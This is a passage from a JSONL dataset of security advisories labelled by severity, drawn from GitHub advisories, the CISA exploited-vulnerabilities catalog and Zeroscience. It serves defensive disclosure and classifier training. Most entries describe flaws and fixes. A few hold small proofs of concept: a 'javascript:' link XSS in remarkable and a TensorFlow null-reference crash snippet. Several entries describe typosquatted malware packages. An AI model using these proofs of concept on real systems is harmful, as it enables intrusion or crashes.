“preferred” language is returned on this call.\n- `HttpservletRequest.getLocales()` - is similar to the above, but returns an ordered list of locales based on the quality values on the `Accept-Language` request header.\n- `DefaultServlet` - uses the `Accept-Encoding` request header with the `QuotedQualityCSV` to determine which kind of pre-compressed content should be sent back for static content (content that is not matched against a url-pattern in your web app)\n\n### Versions\n`QuotedQualityCSV` was introduced to Jetty 9.3.9.v20160517 and the bug that introduced the vulnerability was in 9.4.6.v20170531. \n\nCurrently, known vulnerable versions include:\n\n- 9.4.6.v20170531 thru to 9.4.36.v20210114\n- 10.0.0\n- 11.0.0\n\n### Workarounds\n\nQuality ordered values are used infrequently by jetty so they can be avoided by:\n\n * Do not use the default error page/handler.\n * Do not deploy the `StatisticsServlet` exposed to the network\n * Do not call `getLocale` API\n * Do not enable precompressed static content in the `DefaultServlet` \n\n### Patches\n\nAll patches are available for download from the Eclipse Jetty website at [https://www.eclipse.org/jetty/download.php](https://www.eclipse.org/jetty/download.php)\n- 9.4.37.v20210219 and greater\n- 10.0.1 and greater \n- 11.0.1 and greater", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-10", "split": "train"}
-{"id": "5c11cdde1f90a41dfbe9", "text": "SQL Injection in topthink/thinkphp\n\nThinkPHP v3.2.3 and below contains a SQL injection vulnerability which is triggered when the array is not passed to the \"where\" and \"query\" methods.", "text_raw": "SQL Injection in topthink/thinkphp\n\n[Severity: CRITICAL]\n\nThinkPHP v3.2.3 and below contains a SQL injection vulnerability which is triggered when the array is not passed to the \"where\" and \"query\" methods.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-30", "split": "train"}
-{"id": "e618b8de9c4ea9691bab", "text": "Exposure of Sensitive Information to an Unauthorized Actor in ansible\n\nA flaw was discovered in the way Ansible templating was implemented in versions before 2.6.18, 2.7.12 and 2.8.2, causing the possibility of information disclosure through unexpected variable substitution. By taking advantage of unintended variable substitution the content of any variable may be disclosed.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in ansible\n\n[Severity: MEDIUM]\n\nA flaw was discovered in the way Ansible templating was implemented in versions before 2.6.18, 2.7.12 and 2.8.2, causing the possibility of information disclosure through unexpected variable substitution. By taking advantage of unintended variable substitution the content of any variable may be disclosed.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-07-31", "split": "train"}
-{"id": "4bc926aa5a932277fbcf", "text": "Balero CMS v0.7.2 Multiple JS/HTML Injection Vulnerabilities", "text_raw": "Balero CMS v0.7.2 Multiple JS/HTML Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-04-07", "split": "train"}
-{"id": "7b922be15a458b196db9", "text": "Downloads Resources over HTTP in macaca-chromedriver-zxa\n\nAffected versions of `macaca-chromedriver-zxa` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `macaca-chromedriver-zxa`.\n\n## Recommendation\n\nThe best mitigation is to manually set the download URL to a safe HTTPS server via the `CHROMEDRIVER_CDNURL` environment variable.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in macaca-chromedriver-zxa\n\n[Severity: HIGH]\n\nAffected versions of `macaca-chromedriver-zxa` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `macaca-chromedriver-zxa`.\n\n\n## Recommendation\n\nThe best mitigation is to manually set the download URL to a safe HTTPS server via the `CHROMEDRIVER_CDNURL` environment variable.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "7a68152125395e964714", "text": "showdoc is vulnerable to URL Redirection to Untrusted Site\n\nshowdoc is vulnerable to URL Redirection to Untrusted Site.", "text_raw": "showdoc is vulnerable to URL Redirection to Untrusted Site\n\n[Severity: MEDIUM]\n\nshowdoc is vulnerable to URL Redirection to Untrusted Site.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-03", "split": "train"}
-{"id": "48c3e05b32fca09108a8", "text": "Path Traversal in browserless-chrome\n\nThis affects all versions of browserless-chrome before 1.43.0. User input flowing from the workspace endpoint gets used to create a file path filePath and this is fetched and then sent back to a user. This can be escaped to fetch arbitrary files from a server.", "text_raw": "Path Traversal in browserless-chrome\n\n[Severity: HIGH]\n\nThis affects all versions of browserless-chrome before 1.43.0. User input flowing from the workspace endpoint gets used to create a file path filePath and this is fetched and then sent back to a user. This can be escaped to fetch arbitrary files from a server.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "25005e3d64ef6bc3ebbe", "text": "Content Injection in remarkable\n\nVersions 1.4.0 and earlier of `remarkable` are affected by a cross-site scripting vulnerability. This occurs because vulnerable versions of `remarkable` did not properly whitelist link protocols, and consequently allowed `javascript:` to be used.\n\n### Proof of Concept\n\nMarkdown Source:\n```\n[link](<javascript:alert(1)>)\n```\n\nRendered HTML:\n```\n<a href=\"javascript:alert(1)\">link</a>\n```\n\n## Recommendation\n\nUpdate to version 1.4.1 or later", "text_raw": "Content Injection in remarkable\n\n[Severity: HIGH]\n\nVersions 1.4.0 and earlier of `remarkable` are affected by a cross-site scripting vulnerability. This occurs because vulnerable versions of `remarkable` did not properly whitelist link protocols, and consequently allowed `javascript:` to be used. \n\n\n### Proof of Concept\n\nMarkdown Source:\n```\n[link](<javascript:alert(1)>)\n```\n\nRendered HTML:\n```\n<a href=\"javascript:alert(1)\">link</a>\n```\n\n\n## Recommendation\n\nUpdate to version 1.4.1 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-31", "split": "train"}
-{"id": "a6c47322b0248a38b2da", "text": "Use after free in generic-array\n\nAn issue was discovered in the generic-array crate before 0.13.3 for Rust. It violates soundness by using the arr! macro to extend lifetimes.", "text_raw": "Use after free in generic-array\n\n[Severity: HIGH]\n\nAn issue was discovered in the generic-array crate before 0.13.3 for Rust. It violates soundness by using the arr! macro to extend lifetimes.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "9bd6220151d3f38ddf8e", "text": "Command injection in bestzip\n\nThe package bestzip before 2.1.7 are vulnerable to Command Injection via the options param.", "text_raw": "Command injection in bestzip\n\n[Severity: CRITICAL]\n\nThe package bestzip before 2.1.7 are vulnerable to Command Injection via the options param.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "ff954479ab8e451507e2", "text": "Android Kernel Out-of-Bounds Write Vulnerability\n\nAffected: Android Android Kernel\n\nAndroid Kernel binder_transaction of binder.c contains an out-of-bounds write vulnerability due to an incorrect bounds check that could allow for local privilege escalation. This vulnerability was observed chained with CVE-2019-2215 and CVE-2020-0069 under exploit chain \"AbstractEmu.\"\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Android Kernel Out-of-Bounds Write Vulnerability\n\nAffected: Android Android Kernel\n\nAndroid Kernel binder_transaction of binder.c contains an out-of-bounds write vulnerability due to an incorrect bounds check that could allow for local privilege escalation. This vulnerability was observed chained with CVE-2019-2215 and CVE-2020-0069 under exploit chain \"AbstractEmu.\"\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "81510f2201e1d6e2a299", "text": "ZKTeco ZKTime.Net 3.0.1.6 Insecure File Permissions", "text_raw": "ZKTeco ZKTime.Net 3.0.1.6 Insecure File Permissions\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2016-08-30", "split": "train"}
-{"id": "72f590994c0be9bad346", "text": "Misinterpretation of malicious XML input\n\n### Impact\nxmldom versions 0.6.0 and older do not correctly escape special characters when serializing elements removed from their ancestor. This may lead to unexpected syntactic changes during XML processing in some downstream applications.\n\n### Patches\nUpdate to one of the fixed versions of `@xmldom/xmldom` (`>=0.7.0`)\n\nSee issue #271 for the status of publishing `xmldom` to npm or join #270 for Q&A/discussion until it's resolved.\n\n### Workarounds\n\nDownstream applications can validate the input and reject the maliciously crafted documents.\n\n### References\n\nSimilar to this one reported on the Go standard library:\n\n- https://mattermost.com/blog/coordinated-disclosure-go-xml-vulnerabilities/\n- https://mattermost.com/blog/securing-xml-implementations-across-the-web/\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [`xmldom/xmldom`](https://github.com/xmldom/xmldom)\n* Email us: send an email to **all** addresses that are shown by `npm owner ls @xmldom/xmldom`", "text_raw": "Misinterpretation of malicious XML input\n\n[Severity: MEDIUM]\n\n### Impact\nxmldom versions 0.6.0 and older do not correctly escape special characters when serializing elements removed from their ancestor. This may lead to unexpected syntactic changes during XML processing in some downstream applications.\n\n### Patches\nUpdate to one of the fixed versions of `@xmldom/xmldom` (`>=0.7.0`)\n\nSee issue #271 for the status of publishing `xmldom` to npm or join #270 for Q&A/discussion until it's resolved.\n\n### Workarounds\n\nDownstream applications can validate the input and reject the maliciously crafted documents.\n\n### References\n\nSimilar to this one reported on the Go standard library:\n\n- https://mattermost.com/blog/coordinated-disclosure-go-xml-vulnerabilities/\n- https://mattermost.com/blog/securing-xml-implementations-across-the-web/\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [`xmldom/xmldom`](https://github.com/xmldom/xmldom)\n* Email us: send an email to **all** addresses that are shown by `npm owner ls @xmldom/xmldom`\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-03", "split": "train"}
-{"id": "8e7fe4dce71a8ba4efad", "text": "Code Injection in mosc\n\nmosc through 1.0.0 is vulnerable to Arbitrary Code Execution. User input provided to `properties` argument is executed by the `eval` function, resulting in code execution.", "text_raw": "Code Injection in mosc\n\n[Severity: HIGH]\n\nmosc through 1.0.0 is vulnerable to Arbitrary Code Execution. User input provided to `properties` argument is executed by the `eval` function, resulting in code execution.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "0425c6d39ca33a82ba3d", "text": "rails-html-sanitizer Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in the rails-html-sanitizer gem before 1.0.3 for Ruby on Rails 4.2.x and 5.x allows remote attackers to inject arbitrary web script or HTML via crafted tag attributes.", "text_raw": "rails-html-sanitizer Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in the rails-html-sanitizer gem before 1.0.3 for Ruby on Rails 4.2.x and 5.x allows remote attackers to inject arbitrary web script or HTML via crafted tag attributes.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "0eb26f281fe9def3444c", "text": "Buffer Overflow in Apache Mina SSHD\n\nA vulnerability in sshd-core of Apache Mina SSHD allows an attacker to overflow the server causing an OutOfMemory error. This issue affects the SFTP and port forwarding features of Apache Mina SSHD version 2.0.0 and later versions. It was addressed in Apache Mina SSHD 2.7.0", "text_raw": "Buffer Overflow in Apache Mina SSHD\n\n[Severity: HIGH]\n\nA vulnerability in sshd-core of Apache Mina SSHD allows an attacker to overflow the server causing an OutOfMemory error. This issue affects the SFTP and port forwarding features of Apache Mina SSHD version 2.0.0 and later versions. It was addressed in Apache Mina SSHD 2.7.0", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "e256c71e4c6b8acfc46b", "text": "Reference binding to nullptr in unicode encoding\n\n### Impact\nAn attacker can cause undefined behavior via binding a reference to null pointer in `tf.raw_ops.UnicodeEncode`:\n\n```python\nimport tensorflow as tf\nfrom tensorflow.python.ops import gen_string_ops\n\ngen_string_ops.unicode_encode(\n  input_values=[],\n  input_splits=[],\n  output_encoding='UTF-8',\n  errors='ignore',\n  replacement_char='a')\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/unicode_ops.cc#L533-L539) reads the first dimension of the `input_splits` tensor before validating that this tensor is not empty:\n\n```cc\n  const Tensor& input_splits = context->input(1);\n  const auto input_splits_flat = input_splits.flat<SPLITS_TYPE>();\n  TensorShape output_shape({input_splits.dim_size(0) - 1});\n```\n\n### Patches\nWe have patched the issue in GitHub commit [2e0ee46f1a47675152d3d865797a18358881d7a6](https://github.com/tensorflow/tensorflow/commit/2e0ee46f1a47675152d3d865797a18358881d7a6).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Reference binding to nullptr in unicode encoding\n\n[Severity: HIGH]\n\n### Impact\nAn attacker can cause undefined behavior via binding a reference to null pointer in `tf.raw_ops.UnicodeEncode`:\n\n```python\nimport tensorflow as tf\nfrom tensorflow.python.ops import gen_string_ops\n\ngen_string_ops.unicode_encode(\n  input_values=[],\n  input_splits=[],\n  output_encoding='UTF-8',\n  errors='ignore',\n  replacement_char='a')\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/unicode_ops.cc#L533-L539) reads the first dimension of the `input_splits` tensor before validating that this tensor is not empty: \n\n```cc\n  const Tensor& input_splits = context->input(1);\n  const auto input_splits_flat = input_splits.flat<SPLITS_TYPE>();\n  TensorShape output_shape({input_splits.dim_size(0) - 1});\n```\n\n### Patches\nWe have patched the issue in GitHub commit [2e0ee46f1a47675152d3d865797a18358881d7a6](https://github.com/tensorflow/tensorflow/commit/2e0ee46f1a47675152d3d865797a18358881d7a6).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "40a96c7db080737c65b1", "text": "STVS ProVision 5.9.10 Cross-Site Request Forgery (Add Admin)", "text_raw": "STVS ProVision 5.9.10 Cross-Site Request Forgery (Add Admin)\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-01-26", "split": "train"}
-{"id": "d439d7a3f9fd874ee5d9", "text": "Malicious Package in bpi66\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bpi66\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "d2b9d1dbf9f2eceb1cde", "text": "Apache Camel's XSLT component allows remote attackers to execute arbitrary Java methods\n\nThe XSLT component in Apache Camel 2.11.x before 2.11.4, 2.12.x before 2.12.3, and possibly earlier versions allows remote attackers to execute arbitrary Java methods via a crafted message.", "text_raw": "Apache Camel's XSLT component allows remote attackers to execute arbitrary Java methods\n\n[Severity: HIGH]\n\nThe XSLT component in Apache Camel 2.11.x before 2.11.4, 2.12.x before 2.12.3, and possibly earlier versions allows remote attackers to execute arbitrary Java methods via a crafted message.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "60d07986effc62cc26ef", "text": "SolarWinds Virtualization Manager Privilege Escalation Vulnerability\n\nAffected: SolarWinds Virtualization Manager\n\nSolarWinds Virtualization Manager allows for privilege escalation through leveraging a misconfiguration of sudo.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-264\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "SolarWinds Virtualization Manager Privilege Escalation Vulnerability\n\nAffected: SolarWinds Virtualization Manager\n\nSolarWinds Virtualization Manager allows for privilege escalation through leveraging a misconfiguration of sudo.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-264\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "516410e8f8e0a50170c9", "text": "Possible privilege escalation in org.springframework:spring-core\n\nSpring Framework, versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported versions, provide client-side support for multipart requests. When Spring MVC or Spring WebFlux server application (server A) receives input from a remote client, and then uses that input to make a multipart request to another server (server B), it can be exposed to an attack, where an extra multipart is inserted in the content of the request from server A, causing server B to use the wrong value for a part it expects. This could to lead privilege escalation, for example, if the part content represents a username or user roles.", "text_raw": "Possible privilege escalation in org.springframework:spring-core\n\n[Severity: HIGH]\n\nSpring Framework, versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported versions, provide client-side support for multipart requests. When Spring MVC or Spring WebFlux server application (server A) receives input from a remote client, and then uses that input to make a multipart request to another server (server B), it can be exposed to an attack, where an extra multipart is inserted in the content of the request from server A, causing server B to use the wrong value for a part it expects. This could to lead privilege escalation, for example, if the part content represents a username or user roles.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "262e99bb96add93da738", "text": "Cross-Site Request Forgery in ForkCMS\n\nMultiple cross-site request forgery (CSRF) vulnerabilities in the Admin Console in Fork before 5.8.3 allows remote attackers to perform unauthorized actions as administrator to (1) approve the mass of the user's comments, (2) restoring a deleted user, (3) installing or running modules, (4) resetting the analytics, (5) pinging the mailmotor api, (6) uploading things to the media library, (7) exporting locale.", "text_raw": "Cross-Site Request Forgery in ForkCMS\n\n[Severity: HIGH]\n\nMultiple cross-site request forgery (CSRF) vulnerabilities in the Admin Console in Fork before 5.8.3 allows remote attackers to perform unauthorized actions as administrator to (1) approve the mass of the user's comments, (2) restoring a deleted user, (3) installing or running modules, (4) resetting the analytics, (5) pinging the mailmotor api, (6) uploading things to the media library, (7) exporting locale.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "62cb5b80a476c4f21a7a", "text": "Prototype Pollution in gedi\n\nAll versions of package gedi up to and including version 1.6.3 are vulnerable to Prototype Pollution via the set function.", "text_raw": "Prototype Pollution in gedi\n\n[Severity: CRITICAL]\n\nAll versions of package gedi up to and including version 1.6.3 are vulnerable to Prototype Pollution via the set function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "de5d042250293a972bed", "text": "Django open redirect\n\nA maliciously crafted URL to a Django (1.10 before 1.10.7, 1.9 before 1.9.13, and 1.8 before 1.8.18) site using the `django.views.static.serve()` view could redirect to any other domain, aka an open redirect vulnerability.", "text_raw": "Django open redirect\n\n[Severity: MEDIUM]\n\nA maliciously crafted URL to a Django (1.10 before 1.10.7, 1.9 before 1.9.13, and 1.8 before 1.8.18) site using the `django.views.static.serve()` view could redirect to any other domain, aka an open redirect vulnerability.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "17fda54a553c0c50e6cc", "text": "Malicious Package in regenraotr\n\nAll versions of `regenraotr` are considered malicious. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When executed, the package calls home to a Command and Control server to execute arbitrary commands.\n\n## Recommendation\n\nThis package was published to the npm Registry for a very short period of time. If you happen to find it in your environment you should revoke and rotate all credentials  found on the compromised machine, as well as completely erase the affected machine and reinstall your Operating System.", "text_raw": "Malicious Package in regenraotr\n\n[Severity: CRITICAL]\n\nAll versions of `regenraotr` are considered malicious. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When executed, the package calls home to a Command and Control server to execute arbitrary commands.\n\n\n## Recommendation\n\nThis package was published to the npm Registry for a very short period of time. If you happen to find it in your environment you should revoke and rotate all credentials  found on the compromised machine, as well as completely erase the affected machine and reinstall your Operating System.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "6b2f535ccd8aa527b5c6", "text": "Log Forging in generator-jhipster-kotlin\n\n### Impact\n\nWe log the mail for invalid password reset attempts. \nAs the email is provided by a user and the api is public this can be used by an attacker to forge log entries.\nThis is vulnerable to https://cwe.mitre.org/data/definitions/117.html\n\nThis problem affects only application generated with jwt or session authentication. Applications using oauth are not vulnerable.\n\n### Patches\n\nversion 1.7.0.\n\n### Workarounds\n\nIn `AccountResource.kt` you should change the line\n\n```kotlin\n log.warn(\"Password reset requested for non existing mail '$mail'\");\n```\n\nto\n\n```kotlin\n log.warn(\"Password reset requested for non existing mail\");\n```\n\n### References\n\n* https://cwe.mitre.org/data/definitions/117.html\n* https://owasp.org/www-community/attacks/Log_Injection\n* https://www.baeldung.com/jvm-log-forging\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [jhipster kotlin](https://github.com/jhipster/jhipster-kotlin)", "text_raw": "Log Forging in generator-jhipster-kotlin\n\n[Severity: MEDIUM]\n\n### Impact\n\nWe log the mail for invalid password reset attempts. \nAs the email is provided by a user and the api is public this can be used by an attacker to forge log entries.\nThis is vulnerable to https://cwe.mitre.org/data/definitions/117.html\n\nThis problem affects only application generated with jwt or session authentication. Applications using oauth are not vulnerable.\n\n### Patches\n\nversion 1.7.0.\n\n### Workarounds\n\nIn `AccountResource.kt` you should change the line\n\n```kotlin\n log.warn(\"Password reset requested for non existing mail '$mail'\");\n```\n\nto \n\n```kotlin\n log.warn(\"Password reset requested for non existing mail\");\n```\n\n### References\n\n* https://cwe.mitre.org/data/definitions/117.html\n* https://owasp.org/www-community/attacks/Log_Injection\n* https://www.baeldung.com/jvm-log-forging\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [jhipster kotlin](https://github.com/jhipster/jhipster-kotlin)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-25", "split": "train"}
-{"id": "b461d94120c5cbeb6613", "text": "ViPlay3 <= 3.00 (.vpl) Local Stack Overflow PoC", "text_raw": "ViPlay3 <= 3.00 (.vpl) Local Stack Overflow PoC\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2009-05-08", "split": "train"}
-{"id": "fe95737a0ca3d3f46fa8", "text": "Malicious Package in jqeury\n\nVersion 3.3.1 of `jqeury` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opened a backdoor.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in jqeury\n\n[Severity: CRITICAL]\n\nVersion 3.3.1 of `jqeury` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opened a backdoor.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "5049fa4d57474459751a", "text": "Cross-site Scripting (XSS) in baserCMS\n\nImproper neutralization of JavaScript input in the page editing function of baserCMS versions prior to 4.4.5 allows remote authenticated attackers to inject an arbitrary script via unspecified vectors.", "text_raw": "Cross-site Scripting (XSS) in baserCMS\n\n[Severity: MEDIUM]\n\nImproper neutralization of JavaScript input in the page editing function of baserCMS versions prior to 4.4.5 allows remote authenticated attackers to inject an arbitrary script via unspecified vectors.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "061afbd238322c945743", "text": "Cross Site Scripting (XSS) in plotly.js\n\nAffected versions of `plotly.js` are vulnerable to cross-site scripting if an attacker can convince a user to visit a malicious plot on a site using this package.\n\n## Recommendation\n\nUpdate to 1.16.0 or later.", "text_raw": "Cross Site Scripting (XSS) in plotly.js\n\n[Severity: MEDIUM]\n\nAffected versions of `plotly.js` are vulnerable to cross-site scripting if an attacker can convince a user to visit a malicious plot on a site using this package.\n\n\n## Recommendation\n\nUpdate to 1.16.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "ae706bc80b04c676b5cd", "text": "Zend Server 5.6.0 Multiple Remote Script Insertion Vulnerabilities", "text_raw": "Zend Server 5.6.0 Multiple Remote Script Insertion Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-03-10", "split": "train"}
-{"id": "c7350d8953799eb1b09a", "text": "Cross-site Scripting in kimai2\n\nkimai2 is vulnerable to Cross-Site Request Forgery (CSRF) in deleting invoice templates. This vulnerability is capable of tricking admin user to delete invoice templates.", "text_raw": "Cross-site Scripting in kimai2\n\n[Severity: MEDIUM]\n\nkimai2 is vulnerable to Cross-Site Request Forgery (CSRF) in deleting invoice templates. This vulnerability is capable of tricking admin user to delete invoice templates.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "34919ff4109f5fea4148", "text": "Malicious Package in tensorplow\n\nAll versions of `tensorplow` contain malicious code as a preinstall script. When installed, the package calls home to a Command and Control server to execute arbitrary commands.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in tensorplow\n\n[Severity: CRITICAL]\n\nAll versions of `tensorplow` contain malicious code as a preinstall script. When installed, the package calls home to a Command and Control server to execute arbitrary commands.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "3fec2479bc8134967800", "text": "XWiki users registered with email verification can self re-activate their disabled accounts\n\n### Impact\nA user disabled on a wiki using email verification for registration can re-activate himself by using the activation link provided for his registration.\n\n### Patches\nThe problem has been patched in the following versions of XWiki: 11.10.13,  12.6.7, 12.10.2, 13.0.\n\n### Workarounds\nIt's possible to workaround the issue by resetting the `validkey` property of the disabled XWiki users. This can be done by editing the user profile with object editor.\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-17942\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira](http://jira.xwiki.org)\n* Email us at [Security mailing-list](mailto:security@xwiki.org)", "text_raw": "XWiki users registered with email verification can self re-activate their disabled accounts\n\n[Severity: HIGH]\n\n### Impact\nA user disabled on a wiki using email verification for registration can re-activate himself by using the activation link provided for his registration. \n\n### Patches\nThe problem has been patched in the following versions of XWiki: 11.10.13,  12.6.7, 12.10.2, 13.0.\n\n### Workarounds\nIt's possible to workaround the issue by resetting the `validkey` property of the disabled XWiki users. This can be done by editing the user profile with object editor.\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-17942\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira](http://jira.xwiki.org)\n* Email us at [Security mailing-list](mailto:security@xwiki.org)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
